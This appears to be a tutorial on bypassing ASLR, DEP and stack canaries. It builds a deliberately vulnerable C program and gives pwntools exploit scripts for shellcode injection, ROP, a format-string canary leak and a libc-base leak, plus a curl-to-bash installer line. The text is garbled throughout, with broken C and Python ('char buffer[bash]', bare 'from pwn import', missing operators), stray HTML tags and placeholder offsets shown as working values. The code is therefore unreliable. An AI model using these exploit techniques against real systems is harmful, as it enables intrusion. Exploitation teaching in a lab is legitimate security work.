Bypass ASLR, DEP, and Stack Canaries: A Hacker’s Guide to Modern Exploitation Mitigations

Introduction:

In the relentless arms race between software defenders and offensive security engineers, modern operating systems have deployed sophisticated mitigations like ASLR, DEP, and Stack Canaries to cripple classical exploitation techniques. This guide deconstructs these core memory protections, building from a simple buffer overflow to a multi-layered bypass, providing a foundational toolkit for understanding contemporary binary exploitation.

Learning Objectives:

• Understand the mechanics and purpose of Data Execution Prevention (DEP/NX), Stack Canaries, and Address Space Layout Randomization (ASLR).
• Develop a methodology for bypassing each mitigation in isolation and in combination.
• Acquire practical, hands-on experience with essential debuggers and exploitation tools to weaponize vulnerabilities.

You Should Know:

1. Setting Up Your Lab Environment

Before exploiting, you need the right tools. This lab requires a 64-bit Linux environment (e.g., Kali Linux or Ubuntu) with essential packages.

 Update and install essential tools
sudo apt update && sudo apt upgrade -y
sudo apt install gcc gdb python3 python3-pip netcat-openbsd -y

Install Pwntools for exploit development
pip3 install pwntools

Install GEF (GDB Enhanced Features) for a better debugging experience
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

This setup provides the compiler (gcc), a powerful debugger (gdb), and a modern exploit development library (pwntools). GEF enhances GDB with features like memory inspection and ROP gadget searching, which are critical for complex bypasses.

2. Crafting the Vulnerable Program

Every exploit starts with a vulnerability. We use a simple C program designed to be exploited.

// vuln.c
include <stdio.h>
include <string.h>
include <unistd.h>

void vulnerable_function() {
char buffer[bash];
printf("Buffer is at: %p\n", buffer);
read(STDIN_FILENO, buffer, 256); // Classic buffer overflow
}

int main(int argc, char argv[]) {
vulnerable_function();
return 0;
}

Compile the program, initially disabling all protections to create a vanilla exploit scenario.

gcc -o vuln_vanilla vuln.c -fno-stack-protector -z execstack -no-pie -m32

The flags are crucial: `-fno-stack-protector` disables Stack Canaries, `-z execstack` disables DEP/NX, and `-no-pie -m32` disables ASLR-like Position Independent Executables for simplicity.

3. Vanilla Buffer Overflow Exploitation

With no mitigations, exploiting the stack overflow is straightforward. The goal is to overwrite the return address on the stack to redirect code execution to your shellcode.

 In one terminal, run the program
./vuln_vanilla

Use GDB to find the exact offset to the return address
gdb ./vuln_vanilla
(gdb) run
 After it crashes, inspect the stack
(gdb) info registers esp

A simple Python script with Pwntools can then be used to craft the exploit payload.

!/usr/bin/env python3
from pwn import

context.arch = 'i386'
p = process('./vuln_vanilla')

Generate a cyclic pattern to find the offset
payload = cyclic(140)  Offset found via pattern_create/offset
 OR: Craft the final payload with shellcode
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(140, b'A') + p32(0xffffd100)  JMP to stack address

p.send(payload)
p.interactive()

4. Bypassing Data Execution Prevention (DEP/NX)

DEP marks memory pages as non-executable, preventing code on the stack from running. To bypass it, we use Return-Oriented Programming (ROP).

Recompile the program with NX enabled:

gcc -o vuln_dep vuln.c -fno-stack-protector -no-pie -m32

The exploit technique changes to ROP. We use existing code in the binary, called “gadgets,” to chain together instructions that achieve our goal, like making the stack executable or calling system("/bin/sh").

 Find ROP gadgets in the binary
ROPgadget --binary vuln_dep
 Look for useful gadgets like `pop eax; ret` and `int 0x80` for syscalls, or use functions like <code>system</code>.

The exploit payload structure becomes: `

 + [Address of gadget 1] + [Argument for gadget 1] + [Address of gadget 2] + ...`


<h2 style="color: yellow;">5. Defeating Stack Canaries</h2>

Stack Canaries are secret values placed before the return address to detect stack corruption. If modified, the program aborts.

<h2 style="color: yellow;">Recompile with the stack protector:</h2>

[bash]
gcc -o vuln_canary vuln.c -z execstack -no-pie -m32

Bypass methods include brute-forcing (on 32-bit systems), leaking the value, or overwriting specific data structures to avoid touching the canary.

 Example of a format string attack to leak a canary (if present)
payload = b'%7$x'  Attempt to print the 7th value on the stack, which might be the canary
p.sendline(payload)
leak = p.recvline()
canary = int(leak, 16)

The new payload structure is: [Padding to canary] + [Leaked Canary Value] + [More Padding] + [New Return Address].

6. Overcoming Address Space Layout Randomization (ASLR)

ASLR randomizes memory addresses, making it hard to predict where libraries and the stack are located. We’ll focus on bypassing ASLR for a shared library.

First, enable ASLR on your system:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

A common bypass is using an information leak to disclose a memory address, which then allows you to calculate the base address of a library.

 In your exploit, after triggering a leak:
leaked_addr = int(p.recvline(), 16)
libc_base = leaked_addr - 0x12345678  Subtract the offset of the leaked symbol from libc base
system_addr = libc_base + 0x12345678  Add the offset of 'system' to the libc base
binsh_addr = libc_base + 0x12345678  Add the offset of '/bin/sh' string to libc base

The final ROP chain payload for a `system(“/bin/sh”)` call would then be:

 + [bash] + [Fake Return Addr] + [bash]</code>.

<ol>
<li>Putting It All Together: Bypassing ASLR + DEP
The final challenge is to exploit a binary with all protections enabled: ASLR, DEP, and Stack Canaries.</li>
</ol>

<h2 style="color: yellow;">Recompile the full-fortified binary:</h2>

[bash]
gcc -o vuln_full vuln.c -m32 -fstack-protector-strong

 Final exploit structure
payload = b'A'  128  Padding to canary
payload += p32(canary) The leaked canary value
payload += b'B'  12  Padding between canary and return address
payload += p32(rop_chain_start)  Address of the first ROP gadget